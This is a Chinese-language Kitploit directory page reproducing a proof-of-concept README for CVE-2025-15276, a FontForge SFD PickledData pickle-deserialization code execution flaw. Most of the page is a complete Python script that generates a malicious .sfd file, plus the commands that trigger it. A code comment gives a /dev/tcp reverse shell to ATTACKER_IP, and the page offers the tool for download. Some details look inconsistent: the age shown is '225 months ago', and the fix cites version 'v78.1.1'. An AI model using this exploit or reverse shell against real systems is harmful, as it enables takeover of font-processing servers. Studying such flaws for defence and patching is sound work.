Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-15276-poc — CVE-2025-15276 的概念验证 - FontForge SFD 文件解析中不可信数据反序列化导致的远程代码执行漏洞 | Kitploit
工具/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
Payload生成漏洞分析漏洞利用学习与教育远程访问工具二进制利用
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

CVE-2025-15276 的概念验证 - FontForge SFD 文件解析中不可信数据反序列化导致的远程代码执行漏洞

查看仓库
225个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-15276:FontForge SFD PickledData 不安全反序列化(RCE)

免责声明

本概念验证(PoC)仅用于教育和安全审计目的。 作者不对任何滥用此信息的行为负责。未经授权访问计算机系统属于违法行为。在对任何系统执行安全测试之前,务必获得明确许可。


漏洞概述

CVE-2025-15276 是 FontForge(版本截至并包括 20230101)中的一个严重 远程代码执行(RCE) 漏洞。该缺陷存在于 Spline Font Database(.sfd)格式的解析过程中,具体位于 PickledData 字段内。

技术细节

FontForge 的 SFD 格式允许通过 PickledData 关键字存储持久的 Python 字典。加载字体时,FontForge 会提取该字符串并将其直接传递给 Python 的 pickle.loads() 函数(或等效的内部反序列化例程),而没有任何清理或沙箱隔离。

由于 Python pickle 模块本身不安全,允许任意对象重建,攻击者可以利用 __reduce__ 方法,以运行 FontForge 用户的权限执行任意系统命令。


复现步骤

1. 环境要求

  • 易受攻击的 FontForge: 版本 20230101 或更早版本。
  • Python 3.x: 用于生成恶意有效载荷。

2. 生成恶意 SFD 文件

使用以下 Python 脚本(gen_poc.py)创建一个 exploit.sfd 文件。此 PoC 被配置为在 /tmp/pwned 创建一个文件,作为安全的入侵指标(IoC)。

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. 触发漏洞

只需使用 FontForge 打开该文件即可触发漏洞。

选项 A:标准 GUI/CLI 加载

root@kitploit:~
fontforge exploit.sfd

选项 B:Python 脚本接口(常见于自动化流水线)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. 验证

检查命令是否已执行:

root@kitploit:~
ls -l /tmp/pwned

自动化环境中的影响

此漏洞在字体处理流水线(例如基于 Web 的字体转换器或自动化验证脚本)中尤为危险,这些流水线在后台使用 FontForge 处理用户上传的文件。如果后端脚本对不受信任的 .sfd 文件调用 fontforge.open(),攻击者将获得对处理服务器的完全控制。


缓解措施

  1. 更新 FontForge: 升级到最新版本(v78.1.1 或更高版本),这些不安全的反序列化路径已在该版本中得到修补或限制。
  2. 清理输入: 如果你正在使用 FontForge API 构建工具,请在处理前严格验证文件格式,并且绝不允许处理来自不受信任来源的 .sfd 文件。
  3. 沙箱隔离: 在低权限容器(例如 Docker)或受限沙箱中运行字体处理任务,以限制潜在入侵的影响。

参考资料

  • CVE-2025-15276 NVD 条目
  • 零日计划(ZDI)报告
  • FontForge GitHub 仓库
下载工具